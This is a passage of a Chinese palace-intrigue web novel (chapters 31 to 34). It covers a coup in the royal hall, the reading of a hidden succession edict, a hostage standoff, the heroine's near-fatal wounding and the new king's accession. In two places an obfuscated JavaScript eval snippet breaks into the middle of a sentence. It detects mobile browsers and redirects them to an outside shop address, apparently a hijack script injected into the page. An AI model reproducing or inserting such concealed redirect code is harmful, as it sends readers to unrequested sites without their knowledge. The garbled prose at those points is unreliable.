大庆殿已乱成一锅粥,百名内卫将元琤紧紧护在中间,卫尉正从后殿、大庆门、东西掖门源源不断涌入,一部分将群臣圈在殿中护卫起来,一部分弯弓引弦,流矢如雨射向元晞所率百人精兵。 元晞身中两箭,均不在要害,长刀卷刃、磕断了不知多少把,索性一跃而起、稳稳站到地面上,抢过一把三十斤重戟,双手紧握奋力抡出,横扫千军。 此时,羽林卫从宫北朔方门进,经长义阁,穿过安祐门,再转东金台门,借直道向东永庆门疾驰而去。甫一出东永庆门立即向西转去,冲入大庆门,为首的老将高声呼喊:“老夫崔久安来助大殿下一臂之力!” 明德门外马嘶如沸,遥遥只见元旻与武煊身披轻甲,率两千骑兵,如汹涌的激流、直直冲撞过来。 侍卫骇得魂飞魄散,忙一拥而上,推着明德、宣政共四扇门重重阖上,落上门栓、用铜汁浇死,大庆门因兵荒马乱已无法合拢。 . 冯姮四人被长刀短剑挟持着,从景和宫正殿走出,过勤政殿、上书房,出垂拱门,走上那条从正东至正西、分隔前殿与后宫的春秋道。再顺春秋道东行数步,转向往南,走向大庆殿后殿。 惊变陡生。 后殿门上那坚不可摧的牌匾轰然坠落,直直砸向走在前头的裴彦。裴彦一惊,倒退数步躲开,忽觉脖颈一凉,铺天盖地的血色糊住了双眼。 电光火石间,石阶下一直低眉垂眼侍立的宦官,突然原地弹跳而起,双手抡刀,重重斩下,再一脚踹起,手一捞。 “逆贼裴彦已伏诛,尔等弃械可从轻处罚!”开阳拎着裴彦头颅,走上台阶,高高举起。 侍卫中有人惊慌失措,立即丢下刀兵,却仍有二三十人眼神一冷,齐齐挥刀斩向冯姮。 阿七使了个眼色,就势将冯姮一推,天璇天玑一人一边拉起冯姮冲向前殿。 而她霍然回身,面向追来的侍卫,长鞭和软剑如两条毒蛇交错飞出。 . 大庆殿内,朝中众臣连滚带爬蜷作几堆,内卫与卫尉围成一圈将他们护在中央。顺着螭陛往上看,王座居高临下,一圈内卫刀尖朝外,将元琤密不透风护在其中。 蜷作几堆的群臣中,忽然有一人霍然起身,站得端正笔直、像一尊山岳,他目光冷峻、缓缓扫视过群臣。 旋即一瞬不瞬盯住高高螭陛之上的元琤,扬声高呼:“臣襄侯元璟,昭王之胞弟,受昭王陛下嘱托宣此遗诏,众臣听诏!” 元琤大惊,失声怒吼:“闭嘴!” 32. 众星拱辰 元璟傲然一笑,右手从袖中拿出,用力一挥,一张血红的衣带随风招展。 “……朕之次弟琤……不念父兄之恩,阴怀不轨之心,实有欺罔之罪。连结党伍,欲行谋逆,敕赏封罚,皆非朕意……” 元琤目呲欲裂:“妖言惑众,杀了他!” 有人上前,白刃带着冷风挥落。 元璟身子软软一歪避开,翻腕夺过对方长剑,反手一剑刺入对方肺腑、再猛地拔出,带出一股泉涌的热血。 他将那染血的长剑横在身前,冷喝:“见遗诏如见先王,不敬先王者,斩!” 众侍卫一时震悚。 头顶忽下了一阵血雨,无数鲜血淅淅沥沥滴落,余温尚存,群臣大惊失色。 元璟巍然不动,继续高声念读。 “……卿乃朕之至亲,可念祖宗创业之艰难,纠合忠义两全之烈士,殄灭奸党,复安社稷……” 温热的尸骸从房梁落下,不断砸在地上发出柔软的闷响。群臣哗然,愣了一瞬,争先恐后挤向殿门。 正在丹墀上挥动重戟的元晞见状,奋力一跃跳上殿门,手中兵器扫过挤在前面的大臣,登时敲了个头破血流、脑浆四溅,往外奔涌的潮水一滞,纷纷又掉头疯狂往回挤。 元晞满身是血,横戟堵在殿门,冷厉高呼:“过此门者,杀无赦!” 明德门外传来攻城车一下一下撞击声,沉重如雷——“咚”、“咚”、“哐当”…… 明德门,破。 片刻之后,更近的宣政门再度传来沉重的冲撞声! 数千军士齐声高呼:“里面的人听着,尔等所为,皆受逆王所惑,开门受降者可从轻惩处!” 元璟依然不紧不慢,诵读得字正腔圆—— “……第四子旻,中宫嫡出,生而颖悟,性甚坚毅,可堪托付社稷,卿奉迎正统,祖宗幸甚!” 元琤肝胆欲裂,放声嘶吼:“杀了他!” 内卫听令,一拥而上。房梁上忽然垂下无数绳索,轻快晃荡着。由天枢、天权带头,藏身梁上之人一瞬之间已降落下来,刀锋如新月,与内卫挥来的刀锋重重互斫,而后就是混乱的对砍。 元璟漠然扫视过满堂混乱,读完遗诏,厉声高呼:“众臣工还不速速奉诏,诛杀逆党,奉迎新主?” 群臣悚然震惊,面面相觑,不知如何决策。 元琤双目血红,怒极大笑:“一封不知来由、无从考证的血书,既无见证又无印玺,也敢冒充先王遗诏!” 突然,清亮的女声在身后响起:“诏书在此!” 众人齐齐看向王座之上,只见开阳开路,天璇天玑左右护卫,阿七殿后,前呼后拥地拱卫着冯姮,昂首挺胸、大步流星走来。 冯姮行至殿上,傲然立于众臣之前,右手紧紧攥住左臂,蹙眉用力,竟将那截木质义肢生生扯落,挥手一抛,扔向殿前一群须发俱白的老臣。 “先王传位诏书在此,已盖印玺,见证者常大人、林大人已在灵前为逆贼所害,请诸位国公检视真伪。” 这一来,连阿七也惊呆了。 这个女人,四年来不发一言、不置一词,却总在关键时刻扭转乾坤。先是传出衣带血诏,再是听政多年梳理出可用之人的名单,末了末了,将这份决定元旻继位正统的诏书藏于己身、不动声色这么多年后拿出,一击制敌。 内卫见状,忙飞身扑向诏书,欲抢欲毁。天璇天玑双双旋身,足尖轻点、踏雪无痕,同时“飘”向遗诏,只见衣袂翻飞,姐妹二人已将遗诏抓在手中,递给站在殿前的老臣——太常寺卿元瀚海,而后一左一右将其护在身后。 琢白玉为轴,织绫缎为纸,龙泉泥盖印,藏于义肢中的诏书水火不侵、不朽不腐。 耄耋老臣双手微颤,展开诏书,竭尽毕生之力,高声宣读—— 朕即位二十余年矣,海内河清,民有所安,吏治清明,君臣善睦。近日时感油尽灯枯,常怀老骥伏枥之叹,壮志竟难酬,功更盼后人。 朕第四子旻,聪慧坚毅,甚肖朕躬,坚刚不可夺其志,巨惑不能动其心。朕欲传大位于四子元旻,太傅常修明、太保林成济证。诸子当戮力同心,共戴新君。众臣工当悉心辅弼,同扶社稷。——征和二十年八月十六诏 元琤找了四年的眼中钉、肉中刺,那份连他自己都不确定是否存在,却足以令他所有筹谋俱成空、将他永远钉上耻辱柱的—— 传位诏书! 天枢高呼:“受奸佞所惑者,弃械就擒,可从轻处罚!” 殿内侍卫已有七成扔下刀兵,束手就擒,余下负隅顽抗者,与天枢天权带来武士打斗正酣。内卫皆是元琤亲随,见此状忙拥着他往后殿撤退。 开阳率武士将众内卫阻在台上,短兵相接、刀光剑影乱作一团。 又听“哐当”一声巨响,宣政门轰然大开,人沸马嘶,喧哗声距大庆殿越来越近。 阿七将冯姮护在身后,警惕地打量着四周,倒退着掩护她下螭陛、走向殿门。 左侧传来一股森寒阴气,阿七本能地一鞭向左甩出,身体微微□□,将攻来的一柄长剑缠飞。 就在此时,飒沓冷风拂过右脸颊,她心里一惊,忙抽出短刀回援,却已来不及。 元琤趁乱捡起一把剑,架到了冯姮脖子上,高喝:“都退后!” 冯姮面容平静,高声道:“本宫早已将生死置之度外,众卿不必顾念,诛杀逆贼为先!” 阿七轻手轻脚走到元琤背后,刚一抬手,贴着冯姮的剑刃微微一动,切出一条伤,血珠顺着她娇嫩的肌肤流下、浸入衣领。 元琤阴恻恻笑起来:“少耍花招,都退后!” 殿中老臣七嘴八舌呵斥:“元琤,你竟敢刀挟先王遗孀!” “你挟持寡嫂,大逆不道!” “还不束手就擒。” “都别说了”,阿七看着那贴着薄薄肌肤的剑锋,胆战心惊,忙高声叱令,“飞廉七星,放他走,不得阻拦!” 殿中众人从中分开一条路,眼睁睁看着元琤挟持着冯姮,狞笑着往殿外一步步走去。 元晞忙放下武器退到一边,对丹墀丹陛上已占上风的轻骑和羽林卫大喊:“都让开,莫让贼子伤害王后!” 已率骑士冲至大庆门下的元旻和武煊亦惊呆,忙喝止身后骑兵勒马停兵,死死盯着元琤将冯姮挡在身前,一步步走上大庆门城楼。 有弓箭手拉满弓弦对准城楼上的二人,元琤也不多言,只笑着将冯姮往前推了一推。武煊忙高声喝斥:“所有人,放下兵器,不得擅动。” 元旻强压心头惊慌,竭力平静地仰头看上去:“二叔,放开母后,换我可行?” 元琤冷笑:“莫要仗着几分聪明,把别人都当傻子,你那一身好剑术,挟持你无疑自寻死路。” 元旻强笑,温声道:“那二叔此刻这般,意欲何为?” 元琤面目狰狞:“元旻,你不是自诩忠孝么,我就让这满天下的人看着,你是如何为了自己的王权霸业,害死生母!” 元旻又问:“可有保全母后的法子,请二叔赐教?” 元琤大笑:“你现在就卸下甲兵,往自己胸口来一刀,如何?” 元旻一听,想也不想,开始脱头盔、解软甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981242|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 冯姮肝胆俱裂,失声惊呼:“阿旻不可,你要逼着为娘立即自戕在你面前么?” 元琤抓着挣扎的冯姮,将剑往右偏开了一分,以免冯姮在挣扎中不慎撞上剑锋。就在此时,一身黑衣的阿七悄无声息落在元琤身后约一丈远的地方。 . 先前,阿七在大庆殿一动不动,生等着元琤已走下丹陛看不见了,才对开阳使了个眼色,拔腿狂追,一路追追停停,终于在元琤毫无察觉的情况下追到了他身后。 元旻和武煊恍若未见,元旻依然不紧不慢脱下软甲,又从身侧抽出佩剑,缓缓对准了自己心口。 冯姮忽然高呼:“城下众将听令,射杀本宫与逆贼者,新王元旻必恕其无罪,他若违背,视同忤逆!” 元旻心头一寒,已听身后有人高声回应:“娘娘大义,送娘娘上路!” 转头看去,更是如晴天霹雳,只见玉衡不知何时出现在阵中,拖来一架弩床,已装好重箭对准城楼之上,绞紧轮轴蓄势待发。 元旻大怒:“玉衡,给我滚下来!住手,不准射!武煊,你们快去阻止他!” 玉衡唇角带起一丝玩世不恭的笑,对周围警告恍若未闻,又对了对准头,手一松。 一声尖锐的鸣镝,破甲箭挟着赫赫风雷,飒沓如流星,飞速旋转着向城楼上的冯姮和元琤钉去。 元琤自玉衡出声就想用冯姮挡箭,岂料对方用床弩发射的是破甲重箭,那可是能将他二人同时射个对穿,还能余力不减、跟长矛差不多重的破甲箭。 还有,那个小白脸怎么回事?什么话也听不进,说射就射。 情急之下,他来不及多加思索,将冯姮往前一推,向左疾迅跨出一步,侧身避让迎面重箭。 就在他放开冯姮,侧身避让的刹那… 倒挂在城楼檐下的开阳往前一扑,横刀旋出一道电光。 同一时刻,隐在他身后的阿七长鞭如电扬出,翻腕往右一卷,将即将坠下城楼的冯姮拉回,身体已借惯性撞上驰来重箭,而后用身体贴着重箭、飞速旋转连连撞击,将重箭来势一点点撞偏… 城下的武煊并未见她如何动作,只觉眼前一花,冯姮向后倒去、同时阿七缠着箭跟陀螺似的转起来,不由啧啧称奇:“四哥,你说他这样转头晕不?” 一旁开阳已收拾好元琤,看她动作,急切高吼:“后面人都闪开!” 虽旋身化解了部分冲势,但毕竟是血肉之躯,这样连连对撞…… 冯姮及城楼后方士兵忙侧身闪开,阿七旋转数圈终于慢下来,重箭斜斜地射穿木门,钉在后墙上。 开阳赶紧上前扶住她,急切问道:“首领可还好?” 阿七皱了皱眉,抬手扶额,轻声回答:“还好,只是有些头晕。” 天枢天权亦匆匆赶到,拎起元琤首级挑到枪尖上,高高举起:“逆王已伏诛,尔等还不束手就擒!” 大庆殿前空地上的侍卫、大庆殿中的内卫皆齐刷刷放下手中利器,跪地反手待缚。 武煊等人拥着元旻登上城楼,率先弯下双膝,大喊:“王上万年!” 城下骑兵、大庆殿前侍卫、羽林卫俱齐齐下跪,齐声高呼:“王上万年!” 元瀚海、元璟亦带着大庆殿内文武百官鱼贯而出,走下丹陛,整整齐齐跪在殿前空地上,竭尽肺腑之气呼喊:“王上万年!” 山呼之声起先并不甚高,后逐渐整齐,一浪迭过一浪,排山倒海,响彻云霄。 天地间只剩那个雄浑的合奏——“王上万年!” 为政以德,譬如北辰,居其所,而众星拱之。 33. 当时只道是寻常 元旻上城楼之后,先去察看冯姮伤势,发现只是皮外伤,元晞已带着御医赶到,正在替她包扎,心里稍微踏实了些。 墙上墙下跪了一片,只有阿七未跪。 见她如此,元旻心底涌出隐秘的欣喜,眉眼漾起笑意,走向抱臂站在那的她,对她伸出手去:“我们赢了!” 阿七眉头微蹙了蹙,绽出个笑容:“陛下,玉衡所为皆是我授意,他……” 元旻忙转向身后,下达口谕:“飞廉七星有大功,应论功行赏。” 阿七不再言语,仍抱臂站在那,像一棵孤寒的松柏,只是笑容又灿烂了些。元旻毫无知觉,欣喜若狂地扶起冯姮,母子一边叙话一边往城下走去。 “母后,阿旭可还安好?” “好,好得很,又健壮又聪明,藏在后苑,这会儿已让人找去了…” “那他岂不是可以就藩了?” “十六岁,可以就藩了,你心心念念了那么久,那事也可得偿所愿了。” 二人说说笑笑走下城楼,其乐融融穿过跪伏的众人。 背后城楼之上,蓦地传出一声凄厉的惊叫:“首领——” 元旻和冯姮齐齐回头,倏然如坠冰窟。只见方才还挺立如松的阿七,仰头喷出一口鲜血,双腿一软、直直往后栽去…… 那连续撞击的破甲箭,一圈又一圈,重重砸进她柔软的腹部、脆硬的后背,将她五脏六腑撞得遍体鳞伤。 开阳抱住即将倒地的阿七,轻轻托着她的头颈,慢慢平放在地上,低声道:“都散开些,莫让首领透不过气。” 玉衡飞奔出去,边跑边四下张望,高声呼救:“御医,快来个御医——” 天璇天玑一人紧握住她一只手,哽咽着唤她:“首领,醒醒,别睡!” 冯姮因跑得太快,颈上包好的棉布有些散乱、又沁出血来。御医忙跟过去要替她重包,她一把拂开,怒叱:“混帐东西,不知道该救谁么?” 又从天璇那拉过阿七左手,含泪喊道:“好孩子,别睡,好好撑住了……那年元晴进凰羽寺,你不是答应我么?元晴不在了,你要天天陪我说话。醒醒……别睡过去……” 阿七艰难地撑开双眼,毫无血色的唇角弯出一丝笑意:“臣生来失怙失恃,多年来承蒙娘娘和陛下悉心照拂,教养之恩无以为报。如今陛下大业已定,娘娘安然无恙,臣再无挂碍,也可功、成、身、退……” 元旻脑子一片空白,双手冰凉,全身止不住发颤:“你什么都不欠我们的,是我欠……” “住口!”冯姮骤然惊恐地睁大双目,喝止住他。 元旻那句话出口的刹那,阿七的四肢和脑袋无力垂下。 强撑着的那口气,散了。 御医额头直冒冷汗,颤巍巍施完针,爬着膝行过来,颤声道:“陛下,娘娘,这位姑娘五脏六腑受损过重,臣穷尽毕生所学,也只勉强替她保住心脉,就看她能否撑过今晚。” 又喟然长叹:“如此小的年纪,却无半分求生之念,唉——” 元璟匆匆赶来,刚上城墙听到这话,一声不吭立即转身飞奔下楼,拉过一匹快马,追风逐电、绝尘灭影而去。 那边玉衡早已拉着元晞寻到一张贵妃榻,飞跑着抬上来。冯姮忙起身,叱令众人轻手轻脚将阿七平平抬上贵妃榻,又唤来八个身高一致的力士,平顺缓慢地将榻抬入兴庆宫偏院。 整个过程,元旻只能眼睁睁看着,前所未有的无措和无力充斥了全身。 从未想过,她会以这样的方式功成身退。 想跟过去看看她,刚刚靠近,冯姮便一记眼刀瞪过来,逼得他只能倒退几步,远远跟着。 夜深露寒,兴庆宫偏殿灯火通明,御医、宫人进进出出络绎不绝。武煊、飞廉七星都来了,冯姮安排他们依次握住阿七的手,同她说些旧事和未竟之念,或许能唤起她一丝求生欲。 . 前方有光… 阿七感觉自己挤在一条狭窄潮湿的洞穴里,闷闷的土腥味,将肺腑撑的又沉又疼。她也不知道为何,只知茫然地手脚并用、竭力向那团朦胧的白光爬去。 耳边是谁的声音?怎么有些熟悉? “阿七,看我在草原寻到什么好东西”,少年笑声明朗得像骄阳,“上好的黄骠马,也就比四哥那匹玉狮子差些,咱们一人一匹。” “首领,你可答应我们要重建隐蝠卫”,两个稳重的中年男声,“我们赢了,快醒醒,继续带我们奔前程啊。” “老大,当时你把我从乞儿堆里扒拉出来的时候,说是让我这辈子都不愁吃穿了”,一个稚嫩的男孩嗓音,“老大你醒醒,说好要着养玉衡一辈子的。” “公子,那年你在莳花馆买下我们的时候,说以后就是咱们的亲哥哥”,两个娇柔的女声哽咽,“当不成哥哥,姐姐也好啊。快起来啊,没了你,天璇天玑没有家人了。” “当年第一眼看到你,想着你细胳膊细腿也敢同我叫板”,一个沙哑的男声,“想不到,我开阳一介杀人重犯,被个小白脸打得服服帖帖,那以后,就认定你是我大哥了。” 好吵,她依然专注地往那团白光爬去,越来越近…… 忽然,一个陌生的女声在前方响起来:“阿英,快回去……” 阿英是谁? 那女声急切道:“阿英,是娘,快回去,别过来……” 她眼圈热了,哽咽地问:“娘,你在哪?娘,你为什么不要我了?” “阿英,娘去陪爹爹了,他一个人,死的时候国破家亡,太孤独了,”女声平静下来,轻柔得像叹息,“娘把你交给了世上最好的养母和主君,跟着他们,你才会有更好的前程。” 她哇地哭出来:“我不要前程,我要娘……”拼命挤进那团柔和的白光。 光晕的后面依然是白光,一片虚无,风像一只无形的手,拂过她头顶,那声音越来越轻:“阿英,一个人好好活下去。娘这一辈子很好,只是遗憾,看不到我的阿英长大了。” 她爬起来,追着远去的声音,拼命奔跑。脚下一空,坠入冰冷的水中…… 坠落、无休无止的坠落。 湖水从四面八方挤来,滚烫的疼挟湖水涌入胸腔、四肢百骸,越来越远……那道分水而来的身影却越来越近,衣袖上淡金的纹绣,那纹饰、那族徽…… 这次,她终于看清了。 流云曲水的暗纹锦缎,绣着大翊王室的比翼凤凰团纹,丹凤眼、高鼻薄唇,稚气未脱的一张脸,年幼的元旻。 他在水里抱住她,奋力向上游去,游向有光的地方,一朵又一朵海棠飘坠下来,像一场温柔的雨。 他说:“他们每个人都有秘密和盘算,从小到大毫无保留、真心对我的人,只有你。” 慢慢牵起她的手,又说:“王者都是孤家寡人,除了你,我无人可信,留下来陪着我……” 她笑了,注视着纤尘不染的他:“相濡以沫,不如相忘于江湖。” 疲倦像流水般涌来,温暖而柔软,一点点将她包裹,像是浸在羊水内那般惬意,她越来越昏沉、想要睡去。 不知何处吹来一缕风,带着醇厚的甘芳木香,还有干净清凉的寒气和梅花幽香。她精神振作了些,睁开眼睛,发现自己正躺在一株红梅的枝杈上。 树下站着一个笔直的身影,乌发红衣,正抬头凝望她。 她看不清那张脸,却看到了他的笑容,温和而沉静,柔声对她说:“但愿姐姐能走自己想走的路,而非别人想让你走的路。” 她心头莫名一轻,对他挥了挥手:“好,我们都要振作些,走自己想走的路,找到心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981243|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安的归处。” . 走进书房,从多宝阁抽出珍敛密藏的匣子,打开匣子:瓷猴、草叶编成的蜻蜓、陶响球、布老虎……还有一对憨态可掬的泥塑大阿福。 圆圆胖胖的两个男孩,一个神态端肃、一个眉眼带笑。当时他想,再过几年就可以捏男女一对的大阿福了。 拉开抽屉,是用了一半的墨条,每次他绞尽脑汁写文章、写策论时,她都在一旁安安静静为他研墨。 书案边角放着一只陶罐,每夜他挑灯夜读、疲惫不堪,却不愿招摇地使唤宫人,她总是悄悄为他斟好一壶参茶。 走进卧房,他曾在那张床上躺了近一个月,每天都是她捧着那些晦涩的书,一字一句读给他听。读到后来嗓子哑了,她一杯接一杯喝胖大海茶,接着读。 他眼睛能用了,她喉咙哑了三个月说不出话。 走到前庭,海棠树上似乎还跳跃着小小的身影,去折树梢最好的几枝海棠花,放到他书房插瓶。 走到正殿前的台阶上,坐下,将头埋进臂弯,那个奶声奶气的声音在背后响起:“四殿下最好了。” 他的声音郑重而期冀:“那我们一生一世都不分开?” 没有听到意想之中的“好”。 他一个激灵醒了,回头看去,身后空无一人。 元晞担忧地看着坐在石阶上的他:“外面冷,陛下怎么不进去?”。 元旻垂眸盯着地面,眼圈泛红,声音带一丝哽咽:“都怪我……前些天就总想着有个什么意外,不大不小,能把她留在这就好了……” 元晞在他身旁、下一级台阶坐下,微微讶异:“她就是陛下以前信中说的那位姑娘?我看她为你出生入死,诚挚得很,离开又从何说起?” 元旻抬头,看向乌云覆压的幽黑夜空,笑容苦涩:“从前她很喜欢我,我也一样,那时候阿旭还没长大,所以我总是故作不知,心里悄悄欢喜……想着来日方长,总有见心明性的时候。” “后来,她身边有别的男子追求,她与那人情投意合,只是总顾念着我,直到大事将成,才与我明说她想功成身退……” 元晞更好奇:“有陛下珠玉在前,还能入她的眼,那人得好成什么样?” 元旻仔细回想了半晌:“我也不知他好在哪里。是个长得很漂亮的少年,花街柳巷的常客、轻佻浮浪的纨绔,却偏偏很会撩拨女子,又热烈又大胆,我拦都拦不住。” “我爱她、敬她,从无半分逾矩,想等到继承大统、阿旭就藩之后,好好给她名份,让她堂堂正正与我厮守。” “可她却……十几年都过来了,短短几个月,她就被别人抢走了。” “拼着大好前程、荣华富贵不顾,就为个声名狼藉的浪荡子,执意要离开我。” 元晞思忖片刻,问:“她可对你说起过心悦他?” 元旻蹙眉:“从未。” 元晞又问:“那她可着急去寻那人?” “并未,那人已被……已隐居了”,元旻想了想,“可我知道,她心里是有那人的。她在我面前总谨言慎行,却是看到那少年就笑,要多开心有多开心。” “噗呲,看到就笑算什么情投意合”,元晞忍不住笑出声来,“臣看武煊和那几个内卫也与她勾肩搭背、拉拉扯扯,亲近得很,岂非更情投意合?” “他们不一样,他们只是认这个朋友,不管是男是女”,元旻有些急,“那人却是明明白白跟向我求娶她。” 元晞讶异问:“他向你求娶你的……他莫不是脑子进水了?你与那人言明你俩的关系不就行了,用得着在这醋?” 元旻涨红了脸:“我没有醋。” 元晞更笑得直不起腰:“这都不算醋,什么是醋?” 元旻局促转过头,不知如何作答。 34. 求不得 元晞的笑声渐渐停了,正色道:“臣痴长几岁,毕竟看得多些。那姑娘倾慕你多年,你从未与她回应,她毫无指望。来个能让她开心,相貌……听你说来相貌甚佳的人,赤诚相待,动了心也是人之常情。” 元旻声音闷闷的:“不是都说,一生一世一双人么?” 元晞摇头,唇角带笑,眼中浮出柔情:“那只是期冀,事实上,人这一世,感情很难一成不变,今日你重些、明日他淡些,都是寻常。” “一生之中,总会遇到几个心悦之人,最终牵肠挂肚的却只会是长久相伴的那个,比如我跟你大嫂……”忽然像是想起什么,生硬停住,转了话头。 “眼下我瞧着,你在她心中分量颇重,若真如你所说离开,倒不一定是你想的那个原因。” “至于你说的那个人,若你自己想得开,就干脆些娶了她,好好同她过下去,等个十年二十年你们儿孙满堂了,她眼里心里只剩得你;若过不去,也干脆些早早放手,莫要因爱生恨、把两人都逼成彼此最恨的人。” 元旻茫然,只回过头看向灯火通明处,若有所思。 春羽匆匆出来,对他敛衽一礼,又匆匆向景和宫奔去,边跑边吩咐宫人:“去娘娘那,姑娘抱进来时,襁褓里有块玉佩……” 三骑快马从朔方门疾驰而来,守在朔方门的天权、一身黑色披风的元璟、元璟寻来的民间神医依次跑过他身侧,对他行完礼,然后急急忙忙奔进殿内。 “九叔正经起来还是靠谱的,且放宽心”,元晞看他依然怏怏,站起来拍拍肩膀,宽慰道,“回去歇着吧,该下的旨也下了,这边多的是人照应,偌大的翊国却只有你一个王。” . 翊凤鸣四年九月,元旻只身入昇阳为父守孝,国中莫不风从响应,共举大计诛杀逆王乱党。 九月末,元旻与大王子元晞共扶昭王梓宫,归葬阳华山。 凤鸣四年十月初九,凰羽寺大祭司卜算三卦皆吉。次日,元旻率宗室、朝中众臣入太庙祭拜祖宗,同日于大庆殿正式继位为王,仍尊冯姮为太后,尊郑锦珠为滬国夫人,至于崔采薇…… “该怎么追封就怎么追封,哪有活人同死人计较的”,冯姮笑得淡淡的,“让她与你父王合葬吧。” 元旻大惊:“母后才是中宫王后。” 冯姮柔声道:“可她才是你父王原配的结发夫妻啊。” 元旻想了想,终于忍不住:“问句大逆不道的话,父王生前如此冷落你,你当真毫无怨怼么?” “你晓得替我不平,我心甚慰。可是这世间,不是所有女人都沉溺儿女情长的”,冯姮温婉的笑容毫无波澜,“娘这一生,有体面尊荣、有至高权力、还有一对好儿女,有何遗憾?” 次日,诏曰,崔氏采薇追封为南后,以王后之礼与昭王合葬阳华山。册南后所出的七公主元昙为长公主,封号“鹤华”,人称鹤华长公主,食邑千户。 元旻继位之后,朝乾夕惕、宵衣旰食,同前朝一样,让“勤政殿”三个字名副其实。 此次起事,武氏居功至伟,年方弱冠的武煊敕封临梁郡公,这亦是开国以来最年轻的郡公。武焕仍担任上阳边户指挥使的旧职,经历此事之后与大都督姜榷关系日渐深厚,渐至珠联璧合的佳境。 崔氏、宣氏皆有大功,赐五代以内爵位世袭罔替。闻氏、裴氏在此次诛杀逆党的风波中,族中嫡系子女几乎已被诛灭殆尽,剩余攀附逆王者均按律惩处;其余次等门阀世族亦如闻氏、裴氏同等遭遇。 自此,举国之内,世族削减近四成,新政推行阻力大减。 元旻延用征和新政,增设官塾,重开选文堂与演武堂,恢复文试武选,逆王篡位期间耽搁的选试均择期增补。 这四年间被世族排挤出朝堂的寒门子弟,也由御史台根据政绩、军功等综合考校,各有安排。 朝中再次鸾翔凤集、群英济济。 飞廉七星皆被整编为翊王内卫,仍延用前朝旧称“隐蝠卫”,任命天枢为大统领,玉衡、开阳为副统领。另从军中擢拔优异者,从民间、江湖遴选奇人异士,扩充其编制。 奖功罚过、清点国库与各州郡府库、整肃吏治、百官各有擢谪、检校诸军…这一忙就到了年底。 年节之后,万象更新,元旻改元永平。 朝中耆老再次联袂上书,君主已及弱冠,为国祚稳固,为祖宗传嗣,奏请元旻从大族之中遴选德才兼备之适龄女子。元旻尚未点头,各世家已纷纷上呈自家闺秀的肖像…… . “首领,你可没看到,宗正大人让人推来整整三筐画像,陛下脸都黑了……”天璇捂嘴轻笑。 天玑也忍俊不禁:“自从知道首领是女子后,反过去想陛下往日待你的好,都有出处了。说不定,陛下就等着你好起来,然后出去对那些老头子说‘无论王后是谁,这才是朕的挚爱’。” 阿七哑然失笑。 这是她重伤后的第四个月,也清醒后的第二个月。元旻大抵是太忙了,即位之后再未出现过,前朝之事千头万绪,不知他要耗费多少心血。 飞廉虽已整编为隐蝠卫,天璇天玑仍时不时来兴庆宫与她叙话,问过才知是天枢特许的,天枢从来对元旻言听计从。 至于册立王后…… “你们两个好大胆,妄自揣测圣意,多久没被罚过了?”她如是说着,心里却也琢磨开了。 如今大族,首推武氏,然而武家已算是元旻的半个母族,亲上加亲有些浪费,所以不会是武灿。 剩下崔氏和宣氏,元旻对崔氏是有心结的,况且以崔长治的孤直禀性,怕是有生之年都不愿崔氏女再入宫闱。 那便只剩宣氏,首鼠两端的宣氏此次下了重注,必定会千方百计去维系。 历代君王,无论是多爱从寒门擢拔人才,轮到联姻结亲,总还是撇不开世家大族。 阿七面前有一幅画,前些日子崔夫人归葬后,宫人清扫浮玉宫时,她跟去发现了这幅画,知会过冯太后便拿了回来。 泛黄的绢帛上:榴花连天如火如珊瑚、灼灼照眼明,绛英片片飞落,少男少女策马扬鞭,一日看尽昇阳花。画上两人的面容栩栩如生,颊生双晕、笑靥如花,正是青春年少、鹣鲽情深的元珙和崔采薇。 画作一侧,用簪花小体题着几句诗:银瓶欲上丝绳绝,玉簪欲成中央折。瓶沉簪折知奈何? . 蒙舍王城山高千仞,苻洵扛着锄头铁锹,在山顶寻了块平整处,一点点掘土,直到挖出个长五尺、宽三尺的深坑。 银线蝴蝶香囊、被砸碎的骨灰坛、苻沣赠他的错金短刀、纯金长命锁、芙蕖簪碎片、泛黄的小像…… 一样样放入坑中,双手捧起一抔又一抔土,撒落、掩埋…… 他忽然全身一颤,奔入坑底,拿起错金短刀和长命锁擦拭干净,又轻轻拿起那张小像、放到最贴近心口的地方。 用铁锹撮起一锹土、盖下,再一锹……掩埋完成后,小心翼翼在坑顶种上一棵玉兰树苗。 蚩越从身后走来,柔声说:“诃那,入冬了外面风大,回屋去吧。” 苻洵笑了笑:“外公,种好这棵树就回去。” 蚩越走到他对面,满眼心疼看着清瘦的他:“三月三就要进神庙受册封了,一切都会好起来的。该忘的就忘了吧,往前看。” 苻洵微笑着抬头,注视着他:“外公,倒不是忘不忘,我只是一直在想,究竟是谁害死了娘亲?” 蚩越叹了口气:“都过去了,别想了。” 苻洵笑容不减:“就在昨夜,我终于 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“金州急报——”信使连滚带爬扑进上书房,“蒙舍国突发山火,绵延数百里。” 元旻惊得站起来:“火源何处?” 信使摇头:“蒙舍国与世隔绝,无法进入探查,但观其方位,大约是蒙舍王城。” 元旻瞳孔急遽放大:“天枢玉衡!” “天枢,我记得你姓孟,祖上是随太祖西渡的羽民,身负神鸟之血?” 天枢绞尽脑汁想了半晌:“大约是。” 元旻颔首道:“取蒙舍国山脉走向图,带些人进去,探查一人下落。” 天枢疑惑:“陛下有何故人在蒙舍?” 元旻脸色阴沉:“荣国建业侯,苻洵。” 玉衡察言观色,试探问:“找到他,杀掉?” 